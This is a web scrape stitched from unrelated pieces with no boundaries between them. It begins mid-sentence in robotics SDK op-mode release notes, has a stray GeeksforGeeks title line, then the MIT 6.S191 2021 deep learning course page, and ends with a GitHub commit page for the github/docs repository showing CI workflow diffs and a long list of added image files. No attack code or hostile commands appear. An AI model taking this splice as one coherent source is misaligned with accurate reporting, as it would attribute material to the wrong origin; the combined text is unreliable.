release, init() is triggered right before the start() method. Eventually, the init() method will be triggered when the user presses an "INIT" button on driver station. The init() and loop() methods are now required (i.e., need to be overridden in the user's op mode). The start() and stop() methods are optional. A new LinearOpMode class is introduced. Teams can use the LinearOpMode mode to create a linear (not event driven) program model. Teams can use blocking statements like Thread.sleep() within a linear op mode. The API for the Legacy Module and Core Device Interface Module have been updated. Support for encoders with the Legacy Module is now working. The hardware loop has been updated for better performance.

GeeksforGeeks Must-Do-Coding-Questions Solutions

MIT Introduction to Deep Learning (6.S191) Instructors: Alexander Amini and Ava Soleimany Course Information Summary Prerequisites Schedule Lectures Labs, Final Projects, Grading, and Prizes Software labs Gather.Town lab + Office Hour sessions Final project Paper Review Project Proposal Presentation Project Proposal Grading Rubric Past Project Proposal Ideas Awards + Categories Important Links and Emails Course Information Summary MIT's introductory course on deep learning methods with applications to computer vision, natural language processing, biology, and more! Students will gain foundational knowledge of deep learning algorithms and get practical experience in building neural networks in TensorFlow. Course concludes with a project proposal competition with feedback from staff and a panel of industry sponsors. Prerequisites We expect basic knowledge of calculus (e.g., taking derivatives), linear algebra (e.g., matrix multiplication), and probability (e.g., Bayes theorem) -- we'll try to explain everything else along the way! Experience in Python is helpful but not necessary. This class is taught during MIT's IAP term by current MIT PhD researchers. Listeners are welcome! Schedule Monday Jan 18, 2021 Lecture: Introduction to Deep Learning and NNs Lab: Lab 1A Tensorflow and building NNs from scratch Tuesday Jan 19, 2021 Lecture: Deep Sequence Modelling Lab: Lab 1B Music Generation using RNNs Wednesday Jan 20, 2021 Lecture: Deep Computer Vision Lab: Lab 2A Image classification and detection Thursday Jan 21, 2021 Lecture: Deep Generative Modelling Lab: Lab 2B Debiasing facial recognition systems Friday Jan 22, 2021 Lecture: Deep Reinforcement Learning Lab: Lab 3 pixel-to-control planning Monday Jan 25, 2021 Lecture: Limitations and New Frontiers Lab: Lab 3 continued Tuesday Jan 26, 2021 Lecture (part 1): Evidential Deep Learning Lecture (part 2): Bias and Fairness Lab: Work on final assignments Lab competition entries due at 11:59pm ET on Canvas! Lab 1, Lab 2, and Lab 3 Wednesday Jan 27, 2021 Lecture (part 1): Nigel Duffy, Ernst & Young Lecture (part 2): Kate Saenko, Boston University and MIT-IBM Watson AI Lab Lab: Work on final assignments Assignments due: Sign up for Final Project Competition Thursday Jan 28, 2021 Lecture (part 1): Sanja Fidler, U. Toronto, Vector Institute, and NVIDIA Lecture (part 2): Katherine Chou, Google Lab: Work on final assignments Assignments due: 1 page paper review (if applicable) Friday Jan 29, 2021 Lecture: Student project pitch competition Lab: Awards ceremony and prize giveaway Assignments due: Project proposals (if applicable) Lectures Lectures will be held starting at 1:00pm ET from Jan 18 - Jan 29 2021, Monday through Friday, virtually through Zoom. Current MIT students, faculty, postdocs, researchers, staff, etc. will be able to access the lectures during this two week period, synchronously or asynchronously, via the MIT Canvas course webpage (MIT internal only). Lecture recordings will be uploaded to the Canvas as soon as possible; students are not required to attend any lectures synchronously. Please see the Canvas for details on Zoom links. The public edition of the course will only be made available after completion of the MIT course. Labs, Final Projects, Grading, and Prizes Course will be graded during MIT IAP for 6 units under P/D/F grading. Receiving a passing grade requires completion of each software lab project (through honor code, with submission required to enter lab competitions), a final project proposal/presentation or written review of a deep learning paper (submission required), and attendance/lecture viewing (through honor code). Submission of a written report or presentation of a project proposal will ensure a passing grade. MIT students will be eligible for prizes and awards as part of the class competitions. There will be two parts to the competitions: (1) software labs and (2) final projects. More information is provided below. Winners will be announced on the last day of class, with thousands of dollars of prizes being given away! Software labs There are three TensorFlow software lab exercises for the course, designed as iPython notebooks hosted in Google Colab. Software labs can be found on GitHub: https://github.com/aamini/introtodeeplearning. These are self-paced exercises and are designed to help you gain practical experience implementing neural networks in TensorFlow. For registered MIT students, submission of lab materials is not necessary to get credit for the course or to pass the course. At the end of each software lab there will be task-associated materials to submit (along with instructions) for entry into the competitions, open to MIT students and affiliates during the IAP offering. This includes MIT students/affiliates who are taking the class as listeners -- you are eligible! These instructions are provided at the end of each of the labs. Completing these tasks and submitting your materials to Canvas will enter you into a per-lab competition. MIT students and affiliates will be eligible for prizes during the IAP offering; at the end of the course, prize-winners will be awarded with their prizes. All competition submissions are due on January 26 at 11:59pm ET to Canvas. For the software lab competitions, submissions will be judged on the basis of the following criteria: Strength and quality of final results (lab dependent) Soundness of implementation and approach Thoroughness and quality of provided descriptions and figures Gather.Town lab + Office Hour sessions After each day’s lecture, there will be open Office Hours in the class GatherTown, up until 3pm ET. An MIT email is required to log in and join the GatherTown. During these sessions, there will not be a walk through or dictation of the labs; the labs are designed to be self-paced and to be worked on on your own time. The GatherTown sessions will be hosted by course staff and are held so you can: Ask questions on course lectures, labs, logistics, project, or anything else; Work on the labs in the presence of classmates/TAs/instructors; Meet classmates to find groups for the final project; Group work time for the final project; Bring the class community together. Final project To satisfy the final project requirement for this course, students will have two options: (1) write a 1 page paper review (single-spaced) on a recent deep learning paper of your choice or (2) participate and present in the project proposal pitch competition. The 1 page paper review option is straightforward, we propose some papers within this document to help you get started, and you can satisfy a passing grade with this option -- you will not be eligible for the grand prizes. On the other hand, participation in the project proposal pitch competition will equivalently satisfy your course requirements but additionally make you eligible for the grand prizes. See the section below for more details and requirements for each of these options. Paper Review Students may satisfy the final project requirement by reading and reviewing a recent deep learning paper of their choosing. In the written review, students should provide both: 1) a description of the problem, technical approach, and results of the paper; 2) critical analysis and exposition of the limitations of the work and opportunities for future work. Reviews should be submitted on Canvas by Thursday Jan 28, 2021, 11:59:59pm Eastern Time (ET). Just a few paper options to consider... https://papers.nips.cc/paper/2017/file/3f5ee243547dee91fbd053c1c4a845aa-Paper.pdf https://papers.nips.cc/paper/2018/file/69386f6bb1dfed68692a24c8686939b9-Paper.pdf https://papers.nips.cc/paper/2020/file/1457c0d6bfcb4967418bfb8ac142f64a-Paper.pdf https://science.sciencemag.org/content/362/6419/1140 https://papers.nips.cc/paper/2018/file/0e64a7b00c83e3d22ce6b3acf2c582b6-Paper.pdf https://arxiv.org/pdf/1906.11829.pdf https://www.nature.com/articles/s42256-020-00237-3 https://pubmed.ncbi.nlm.nih.gov/32084340/ Project Proposal Presentation Keyword: proposal This is a 2 week course so we do not require results or working implementations! However, to win the top prizes, nice, clear results and implementations will demonstrate feasibility of your proposal which is something we look for! Logistics -- please read! You must sign up to present before 11:59:59pm Eastern Time (ET) on Wednesday Jan 27, 2021 Slides must be in a Google Slide before 11:59:59pm Eastern Time (ET) on Thursday Jan 28, 2021 Project groups can be between 1 and 5 people Listeners welcome To be eligible for a prize you must have at least 1 registered MIT student in your group Each participant will only be allowed to be in one group and present one project pitch Synchronous attendance on 1/29/21 is required to make the project pitch! 3 min presentation on your idea (we will be very strict with the time limits) Prizes! (see below) Sign up to Present here: by 11:59pm ET on Wednesday Jan 27 Once you sign up, make your slide in the following Google Slides; submit by midnight on Thursday Jan 28. Please specify the project group # on your slides!!! Things to Consider This doesn’t have to be a new deep learning method. It can just be an interesting application that you apply some existing deep learning method to. What problem are you solving? Are there use cases/applications? Why do you think deep learning methods might be suited to this task? How have people done it before? Is it a new task? If so, what are similar tasks that people have worked on? In what aspects have they succeeded or failed? What is your method of solving this problem? What type of model + architecture would you use? Why? What is the data for this task? Do you need to make a dataset or is there one publicly available? What are the characteristics of the data? Is it sparse, messy, imbalanced? How would you deal with that? Project Proposal Grading Rubric Project proposals will be evaluated by a panel of judges on the basis of the following three criteria: 1) novelty and impact; 2) technical soundness, feasibility, and organization, including quality of any presented results; 3) clarity and presentation. Each judge will award a score from 1 (lowest) to 5 (highest) for each of the criteria; the average score from each judge across these criteria will then be averaged with that of the other judges to provide the final score. The proposals with the highest final scores will be selected for prizes. Here are the guidelines for the criteria: Novelty and impact: encompasses the potential impact of the project idea, its novelty with respect to existing approaches. Why does the proposed work matter? What problem(s) does it solve? Why are these problems important? Technical soundness, feasibility, and organization: encompasses all technical aspects of the proposal. Do the proposed methodology and architecture make sense? Is the architecture the best suited for the proposed problem? Is deep learning the best approach for the problem? How realistic is it to implement the idea? Was there any implementation of the method? If results and data are presented, we will evaluate the strength of the results/data. Clarity and presentation: encompasses the delivery and quality of the presentation itself. Is the talk well organized? Are the slides aesthetically compelling? Is there a clear, well-delivered narrative? Are the problem and proposed method clearly presented? Past Project Proposal Ideas Recipe Generation with RNNs Can we compress videos with CNN + RNN? Music Generation with RNNs Style Transfer Applied to X GAN’s on a new modality Summarizing text/news articles Combining news articles about similar events Code or spec generation Multimodal speech → handwriting Generate handwriting based on keywords (i.e. cursive, slanted, neat) Predicting stock market trends Show language learners articles or videos at their level Transfer of writing style Chemical Synthesis with Recurrent Neural networks Transfer learning to learn something in a domain for which it’s hard or risky to gather data or do training RNNs to model some type of time series data Computer vision to coach sports players Computer vision system for safety brakes or warnings Use IBM Watson API to get the sentiment of your Facebook newsfeed Deep learning webcam to give wifi-access to friends or improve video chat in some way Domain-specific chatbot to help you perform a specific task Detect whether a signature is fraudulent Awards + Categories Final Project Awards: 1x NVIDIA RTX 3080 4x Google Home Max 3x Display Monitors Software Lab Awards: Bose headphones (Lab 1) Display monitor (Lab 2) Bebop drone (Lab 3) Important Links and Emails Course website: http://introtodeeplearning.com Course staff: introtodeeplearning-staff@mit.edu Piazza forum (MIT only): https://piazza.com/mit/spring2021/6s191 Canvas (MIT only): https://canvas.mit.edu/courses/8291 Software lab repository: https://github.com/aamini/introtodeeplearning Lab/office hour sessions (MIT only): https://gather.town/app/56toTnlBrsKCyFgj/MITDeepLearning

Skip to content github / docs Code Issues 80 Pull requests 35 Discussions Actions Projects 2 Security Insights Merge branch 'main' into 1862-Add-Travis-CI-migration-table 1862-Add-Travis-CI-migration-table (#1869, Iixixi/ZachryTylerWood#102, THEBOLCK79/docs#1, sbnbhk/docs#1) @martin389 martin389 committed on Dec 9, 2020 2 parents 2f9ec0c + 1588f50 commit 1a56ed136914e522f3a23ecc2be1c49f479a1a6a Showing 501 changed files with 5,397 additions and 1,362 deletions. 2 .github/allowed-actions.js @@ -30,7 +30,7 @@ module.exports = [ 'rachmari/labeler@832d42ec5523f3c6d46e8168de71cd54363e3e2e', 'repo-sync/github-sync@3832fe8e2be32372e1b3970bbae8e7079edeec88', 'repo-sync/pull-request@33777245b1aace1a58c87a29c90321aa7a74bd7d', 'rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815', 'someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd', 'tjenkinson/gh-action-auto-merge-dependency-updates@cee2ac0', 'EndBug/add-and-commit@9358097a71ad9fb9e2f9624c6098c89193d83575' ] 72 .github/workflows/confirm-internal-staff-work-in-docs.yml @@ -0,0 +1,72 @@ name: Confirm internal staff meant to post in public on: issues: types: - opened - reopened - transferred pull_request_target: types: - opened - reopened jobs: check-team-membership: runs-on: ubuntu-latest continue-on-error: true if: github.repository == 'github/docs' steps: - uses: actions/github-script@626af12fe9a53dc2972b48385e7fe7dec79145c9 with: github-token: ${{ secrets.DOCUBOT_FR_PROJECT_BOARD_WORKFLOWS_REPO_ORG_READ_SCOPES }} script: | // Only perform this action with GitHub employees try { await github.teams.getMembershipForUserInOrg({ org: 'github', team_slug: 'employees', username: context.payload.sender.login, }); } catch(err) { // An error will be thrown if the user is not a GitHub employee // If a user is not a GitHub employee, we should stop here and // Not send a notification return } // Don't perform this action with Docs team members try { await github.teams.getMembershipForUserInOrg({ org: 'github', team_slug: 'docs', username: context.payload.sender.login, }); // If the user is a Docs team member, we should stop here and not send // a notification return } catch(err) { // An error will be thrown if the user is not a Docs team member // If a user is not a Docs team member we should continue and send // the notification } const issueNo = context.number || context.issue.number // Create an issue in our private repo await github.issues.create({ owner: 'github', repo: 'docs-internal', title: `@${context.payload.sender.login} confirm that \#${issueNo} should be in the public github/docs repo`, body: `@${context.payload.sender.login} opened https://github.com/github/docs/issues/${issueNo} publicly in the github/docs repo, instead of the private github/docs-internal repo.\n\n@${context.payload.sender.login}, please confirm that this belongs in the public repo and that no sensitive information was disclosed by commenting below and closing the issue.\n\nIf this was not intentional and sensitive information was shared, please delete https://github.com/github/docs/issues/${issueNo} and notify us in the \#docs-open-source channel.\n\nThanks! \n\n/cc @github/docs @github/docs-engineering` }); throw new Error('A Hubber opened an issue on the public github/docs repo'); - name: Send Slack notification if a GitHub employee who isn't on the docs team opens an issue in public if: ${{ failure() && github.repository == 'github/docs' }} uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd with: channel: ${{ secrets.DOCS_OPEN_SOURCE_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} text: <@${{github.actor}}> opened https://github.com/github/docs/issues/${{ github.event.number || github.event.issue.number }} publicly on the github/docs repo instead of the private github/docs-internal repo. They have been notified via a new issue in the github/docs-internal repo to confirm this was intentional. 15 .github/workflows/js-lint.yml @@ -10,23 +10,8 @@ on: - translations jobs: see_if_should_skip: runs-on: ubuntu-latest outputs: should_skip: ${{ steps.skip_check.outputs.should_skip }} steps: - id: skip_check uses: fkirc/skip-duplicate-actions@36feb0d8d062137530c2e00bd278d138fe191289 with: cancel_others: 'false' github_token: ${{ github.token }} paths: '["**/*.js", "package*.json", ".github/workflows/js-lint.yml", ".eslint*"]' lint: runs-on: ubuntu-latest needs: see_if_should_skip if: ${{ needs.see_if_should_skip.outputs.should_skip != 'true' }} steps: - name: Check out repo uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f 13 .github/workflows/repo-freeze-reminders.yml @@ -14,11 +14,10 @@ jobs: if: github.repository == 'github/docs-internal' steps: - name: Send Slack notification if repo is frozen uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: ${{ env.FREEZE == 'true' }} uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_USERNAME: docs-repo-sync SLACK_ICON_EMOJI: ':freezing_face:' SLACK_COLOR: '#51A0D5' # Carolina Blue SLACK_MESSAGE: All repo-sync runs will fail for ${{ github.repository }} because the repo is currently frozen! with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: info text: All repo-sync runs will fail for ${{ github.repository }} because the repo is currently frozen! 54 .github/workflows/repo-sync-stalls.yml @@ -0,0 +1,54 @@ name: Repo Sync Stalls on: workflow_dispatch: schedule: - cron: '*/30 * * * *' jobs: check-freezer: name: Check for deployment freezes runs-on: ubuntu-latest steps: - name: Exit if repo is frozen if: ${{ env.FREEZE == 'true' }} run: | echo 'The repo is currently frozen! Exiting this workflow.' exit 1 # prevents further steps from running repo-sync-stalls: runs-on: ubuntu-latest steps: - name: Check if repo sync is stalled uses: actions/github-script@626af12fe9a53dc2972b48385e7fe7dec79145c9 with: github-token: ${{ secrets.DOCUBOT_FR_PROJECT_BOARD_WORKFLOWS_REPO_ORG_READ_SCOPES }} script: | let pulls; const owner = context.repo.owner const repo = context.repo.repo try { pulls = await github.pulls.list({ owner: owner, repo: repo, head: `${owner}:repo-sync`, state: 'open' }); } catch(err) { throw err return } pulls.data.forEach(pr => { const timeDelta = Date.now() - Date.parse(pr.created_at); const minutesOpen = timeDelta / 1000 / 60; if (minutesOpen > 30) { core.setFailed('Repo sync appears to be stalled') } }) - name: Send Slack notification if workflow fails uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: Repo sync appears to be stalled for ${{github.repository}}. See https://github.com/${{github.repository}}/pulls?q=is%3Apr+is%3Aopen+repo+sync 16 .github/workflows/repo-sync.yml @@ -7,6 +7,7 @@ name: Repo Sync on: workflow_dispatch: schedule: - cron: '*/15 * * * *' # every 15 minutes @@ -70,11 +71,10 @@ jobs: number: ${{ steps.find-pull-request.outputs.number }} - name: Send Slack notification if workflow fails uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 if: ${{ failure() }} env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_USERNAME: docs-repo-sync SLACK_ICON_EMOJI: ':ohno:' SLACK_COLOR: '#B90E0A' # Crimson SLACK_MESSAGE: The last repo-sync run for ${{github.repository}} failed. See https://github.com/${{github.repository}}/actions?query=workflow%3A%22Repo+Sync%22 uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: The last repo-sync run for ${{github.repository}} failed. See https://github.com/${{github.repository}}/actions?query=workflow%3A%22Repo+Sync%22 10 .github/workflows/sync-algolia-search-indices.yml @@ -33,8 +33,10 @@ jobs: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} run: npm run sync-search - name: Send slack notification if workflow run fails uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_MESSAGE: The last Algolia workflow run for ${{github.repository}} failed. Search actions for `workflow:Algolia` with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: The last Algolia workflow run for ${{github.repository}} failed. Search actions for `workflow:Algolia` 15 .github/workflows/yml-lint.yml @@ -10,23 +10,8 @@ on: - translations jobs: see_if_should_skip: runs-on: ubuntu-latest outputs: should_skip: ${{ steps.skip_check.outputs.should_skip }} steps: - id: skip_check uses: fkirc/skip-duplicate-actions@36feb0d8d062137530c2e00bd278d138fe191289 with: cancel_others: 'false' github_token: ${{ github.token }} paths: '["**/*.yml", "**/*.yaml", "package*.json", ".github/workflows/yml-lint.yml"]' lint: runs-on: ubuntu-latest needs: see_if_should_skip if: ${{ needs.see_if_should_skip.outputs.should_skip != 'true' }} steps: - name: Check out repo uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f 4 README.md @@ -28,7 +28,7 @@ If you've found a problem, you can open an issue using a [template](https://gith #### Solve an issue If you have a solution to one of the open issues, you will need to fork the repository and submit a PR using the [template](https://github.com/github/docs/blob/main/CONTRIBUTING.md#pull-request-template) that is visible automatically in the pull request body. For more details about this process, please check out [Getting Started with Contributing](/CONTRIBUTING.md). If you have a solution to one of the open issues, you will need to fork the repository and submit a pull request using the [template](https://github.com/github/docs/blob/main/CONTRIBUTING.md#pull-request-template) that is visible automatically in the pull request body. For more details about this process, please check out [Getting Started with Contributing](/CONTRIBUTING.md). #### Join us in discussions @@ -50,6 +50,8 @@ There are a few more things to know when you're getting started with this repo: In addition to the README you're reading right now, this repo includes other READMEs that describe the purpose of each subdirectory in more detail: - [content/README.md](content/README.md) - [content/graphql/README.md](content/graphql/README.md) - [content/rest/README.md](content/rest/README.md) - [contributing/README.md](contributing/README.md) - [data/README.md](data/README.md) - [data/reusables/README.md](data/reusables/README.md) BIN +164 KB assets/images/help/classroom/assignment-group-hero.png Binary file not shown. BIN +75.5 KB assets/images/help/classroom/assignment-ide-go-grant-access-button.png Binary file not shown. BIN +175 KB assets/images/help/classroom/assignment-individual-hero.png Binary file not shown. BIN +27.6 KB assets/images/help/classroom/assignment-repository-ide-button-in-readme.png Binary file not shown. BIN +83.4 KB assets/images/help/classroom/assignments-assign-deadline.png Binary file not shown. BIN +32.4 KB assets/images/help/classroom/assignments-assignment-title.png Binary file not shown. BIN +27.7 KB assets/images/help/classroom/assignments-autograding-click-pencil-or-trash.png Binary file not shown. BIN +72 KB assets/images/help/classroom/assignments-choose-repository-visibility.png Binary file not shown. BIN +20.1 KB assets/images/help/classroom/assignments-click-continue-button.png Binary file not shown. BIN +23.7 KB assets/images/help/classroom/assignments-click-create-assignment-button.png Binary file not shown. BIN +76.4 KB assets/images/help/classroom/assignments-click-grading-and-feedback.png Binary file not shown. BIN +53.1 KB assets/images/help/classroom/assignments-click-new-assignment-button.png Binary file not shown. BIN +134 KB assets/images/help/classroom/assignments-click-online-ide.png Binary file not shown. BIN +77.8 KB assets/images/help/classroom/assignments-click-pencil.png Binary file not shown. BIN +18.8 KB assets/images/help/classroom/assignments-click-review-button.png Binary file not shown. BIN +20.6 KB assets/images/help/classroom/assignments-click-save-test-case-button.png Binary file not shown. BIN +121 KB assets/images/help/classroom/assignments-click-template-repository-in-list.png Binary file not shown. BIN +21.1 KB assets/images/help/classroom/assignments-click-update-assignment.png Binary file not shown. BIN +76.9 KB assets/images/help/classroom/assignments-click-view-ide.png Binary file not shown. BIN +96.5 KB assets/images/help/classroom/assignments-click-view-test.png Binary file not shown. BIN +71.3 KB assets/images/help/classroom/assignments-define-teams.png Binary file not shown. BIN +39.4 KB assets/images/help/classroom/assignments-enable-feedback-pull-requests.png Binary file not shown. BIN +40.4 KB assets/images/help/classroom/assignments-type-protected-file-paths.png Binary file not shown. BIN +330 KB assets/images/help/classroom/autograding-actions-logs.png Binary file not shown. BIN +187 KB assets/images/help/classroom/autograding-actions-tab.png Binary file not shown. BIN +94.9 KB assets/images/help/classroom/autograding-click-grading-method.png Diff not rendered. BIN +57.5 KB assets/images/help/classroom/autograding-click-pencil.png Diff not rendered. BIN +57.7 KB assets/images/help/classroom/autograding-click-trash.png Diff not rendered. BIN +168 KB assets/images/help/classroom/autograding-hero.png Diff not rendered. BIN +154 KB assets/images/help/classroom/classroom-add-students-to-your-roster.png Diff not rendered. BIN +166 KB assets/images/help/classroom/classroom-copy-credentials.png Diff not rendered. BIN +181 KB assets/images/help/classroom/classroom-hero.png Diff not rendered. BIN +48.3 KB assets/images/help/classroom/classroom-settings-click-connection-settings.png Diff not rendered. BIN +94 KB ...ges/help/classroom/classroom-settings-click-disconnect-from-your-lms-button.png Diff not rendered. BIN +148 KB assets/images/help/classroom/classroom-settings-click-lms.png Diff not rendered. BIN +149 KB assets/images/help/classroom/click-assignment-in-list.png Diff not rendered. BIN +52.3 KB assets/images/help/classroom/click-classroom-in-list.png Diff not rendered. BIN +49.5 KB assets/images/help/classroom/click-create-classroom-button.png Diff not rendered. BIN +30 KB assets/images/help/classroom/click-create-roster-button.png Diff not rendered. BIN +78.2 KB assets/images/help/classroom/click-delete-classroom-button.png Diff not rendered. BIN +60.8 KB ...images/help/classroom/click-import-from-a-learning-management-system-button.png Diff not rendered. BIN +51.9 KB assets/images/help/classroom/click-new-classroom-button.png Diff not rendered. BIN +83.4 KB assets/images/help/classroom/click-organization.png Diff not rendered. BIN +28.4 KB assets/images/help/classroom/click-settings.png Diff not rendered. BIN +29.7 KB assets/images/help/classroom/click-students.png Diff not rendered. BIN +60 KB assets/images/help/classroom/click-update-students-button.png Diff not rendered. BIN +127 KB assets/images/help/classroom/delete-classroom-click-delete-classroom-button.png Diff not rendered. BIN +104 KB assets/images/help/classroom/delete-classroom-modal-with-warning.png Diff not rendered. BIN +264 KB assets/images/help/classroom/ide-makecode-arcade-version-control-button.png Diff not rendered. BIN +69.4 KB assets/images/help/classroom/ide-replit-version-control-button.png Diff not rendered. BIN +234 KB assets/images/help/classroom/lms-github-classroom-credentials.png Diff not rendered. BIN +955 KB assets/images/help/classroom/probot-settings.gif Diff not rendered. BIN +113 KB assets/images/help/classroom/roster-hero.png Diff not rendered. BIN +40.4 KB assets/images/help/classroom/settings-click-rename-classroom-button.png Diff not rendered. BIN +41 KB assets/images/help/classroom/settings-type-classroom-name.png Diff not rendered. BIN +140 KB assets/images/help/classroom/setup-click-authorize-github-classroom.png Diff not rendered. BIN +102 KB assets/images/help/classroom/setup-click-authorize-github.png Diff not rendered. BIN +163 KB assets/images/help/classroom/setup-click-grant.png Diff not rendered. BIN +324 KB assets/images/help/classroom/students-click-delete-roster-button-in-modal.png Diff not rendered. BIN +91.1 KB assets/images/help/classroom/students-click-delete-roster-button.png Diff not rendered. BIN +48.2 KB assets/images/help/classroom/type-classroom-name.png Diff not rendered. BIN +174 KB assets/images/help/classroom/type-or-upload-student-identifiers.png Diff not rendered. BIN +83.3 KB assets/images/help/classroom/use-drop-down-then-click-archive.png Diff not rendered. BIN +45.2 KB assets/images/help/classroom/use-drop-down-then-click-unarchive.png Diff not rendered. BIN +55.4 KB assets/images/help/discussions/choose-new-category.png Diff not rendered. BIN +56.8 KB assets/images/help/discussions/click-delete-and-move-button.png Diff not rendered. BIN +59.7 KB assets/images/help/discussions/click-delete-discussion.png Diff not rendered. BIN +65.3 KB assets/images/help/discussions/click-delete-for-category.png Diff not rendered. BIN +68.9 KB assets/images/help/discussions/click-delete-this-discussion-button.png Diff not rendered. BIN +353 KB assets/images/help/discussions/click-discussion-in-list.png Diff not rendered. BIN +41 KB assets/images/help/discussions/click-edit-categories.png Diff not rendered. BIN +64.3 KB assets/images/help/discussions/click-edit-for-category.png Diff not rendered. BIN +60.2 KB assets/images/help/discussions/click-edit-pinned-discussion.png Diff not rendered. BIN +104 KB assets/images/help/discussions/click-new-category-button.png Diff not rendered. BIN +98.2 KB assets/images/help/discussions/click-pin-discussion-button.png Diff not rendered. BIN +55.7 KB assets/images/help/discussions/click-pin-discussion.png Diff not rendered. BIN +104 KB assets/images/help/discussions/click-save.png Diff not rendered. BIN +59.9 KB assets/images/help/discussions/click-transfer-discussion-button.png Diff not rendered. BIN +60.2 KB assets/images/help/discussions/click-transfer-discussion.png Diff not rendered. BIN +63.3 KB assets/images/help/discussions/click-unpin-discussion-button.png Diff not rendered. BIN +59.8 KB assets/images/help/discussions/click-unpin-discussion.png Diff not rendered. BIN +140 KB assets/images/help/discussions/comment-mark-as-answer-button.png Diff not rendered. BIN +136 KB assets/images/help/discussions/comment-marked-as-answer.png Diff not rendered. BIN +234 KB assets/images/help/discussions/customize-pinned-discussion.png Diff not rendered. BIN +1.21 MB assets/images/help/discussions/discussons-hero.png Diff not rendered. BIN +139 KB assets/images/help/discussions/edit-category-details.png Diff not rendered. BIN +136 KB assets/images/help/discussions/edit-existing-category-details.png Diff not rendered. BIN +55.5 KB assets/images/help/discussions/existing-category-click-save-changes-button.png Diff not rendered. BIN +680 KB assets/images/help/discussions/hero.png Diff not rendered. BIN +307 KB assets/images/help/discussions/most-helpful.png Diff not rendered. BIN +52.9 KB assets/images/help/discussions/new-category-click-create-button.png Diff not rendered. BIN +132 KB assets/images/help/discussions/new-discussion-button.png Diff not rendered. BIN +140 KB assets/images/help/discussions/new-discussion-select-category-dropdown-menu.png Diff not rendered. BIN +46.7 KB assets/images/help/discussions/new-discussion-start-discussion-button.png Diff not rendered. BIN +108 KB assets/images/help/discussions/new-discussion-title-and-body-fields.png Diff not rendered. BIN +23.1 KB assets/images/help/discussions/public-repo-settings.png Diff not rendered. BIN +49.5 KB assets/images/help/discussions/repository-discussions-tab.png Diff not rendered. BIN +51.8 KB assets/images/help/discussions/search-and-filter-controls.png Diff not rendered. BIN +44.4 KB assets/images/help/discussions/search-result.png Diff not rendered. BIN +35.4 KB assets/images/help/discussions/select-discussions-checkbox.png Diff not rendered. BIN +44.8 KB assets/images/help/discussions/setup-discussions-button.png Diff not rendered. BIN +95.9 KB assets/images/help/discussions/toggle-allow-users-with-read-access-checkbox.png Diff not rendered. BIN +73 KB assets/images/help/discussions/unanswered-discussion.png Diff not rendered. BIN +81.3 KB assets/images/help/discussions/use-choose-a-repository-drop-down.png Diff not rendered. BIN +30.3 KB assets/images/help/discussions/your-discussions.png Diff not rendered. BIN +563 KB assets/images/help/education/click-get-teacher-benefits.png Diff not rendered. BIN +116 KB assets/images/help/images/overview-actions-result-navigate.png Diff not rendered. BIN +150 KB assets/images/help/images/overview-actions-result-updated-2.png Diff not rendered. BIN +128 KB assets/images/help/images/workflow-graph-job.png Diff not rendered. BIN +135 KB assets/images/help/images/workflow-graph.png Diff not rendered. BIN +5.46 KB assets/images/help/organizations/update-profile-button.png Diff not rendered. BIN +44.6 KB assets/images/help/pull_requests/dependency-review-rich-diff.png Diff not rendered. BIN +24.6 KB assets/images/help/pull_requests/dependency-review-source-diff.png Diff not rendered. BIN +214 KB assets/images/help/pull_requests/dependency-review-vulnerability.png Diff not rendered. BIN +105 KB assets/images/help/pull_requests/file-filter-menu-json.png Diff not rendered. BIN +22.5 KB (510%) assets/images/help/pull_requests/pull-request-tabs-changed-files.png Diff not rendered. BIN +45.2 KB assets/images/help/repository/actions-delete-artifact-updated.png Diff not rendered. BIN +122 KB assets/images/help/repository/actions-failed-pester-test-updated.png Diff not rendered. BIN +45.4 KB assets/images/help/repository/artifact-drop-down-updated.png Diff not rendered. BIN +54.5 KB assets/images/help/repository/cancel-check-suite-updated.png Diff not rendered. BIN +120 KB assets/images/help/repository/copy-link-button-updated-2.png Diff not rendered. BIN +77.6 KB assets/images/help/repository/delete-all-logs-updated-2.png Diff not rendered. BIN +326 KB assets/images/help/repository/docker-action-workflow-run-updated.png Diff not rendered. BIN +84.6 KB assets/images/help/repository/download-logs-drop-down-updated-2.png Diff not rendered. BIN +170 KB assets/images/help/repository/in-progress-run.png Diff not rendered. BIN +124 KB assets/images/help/repository/javascript-action-workflow-run-updated-2.png Diff not rendered. BIN +116 KB assets/images/help/repository/passing-data-between-jobs-in-a-workflow-updated.png Diff not rendered. BIN +80.8 KB assets/images/help/repository/rerun-checks-drop-down-updated.png Diff not rendered. 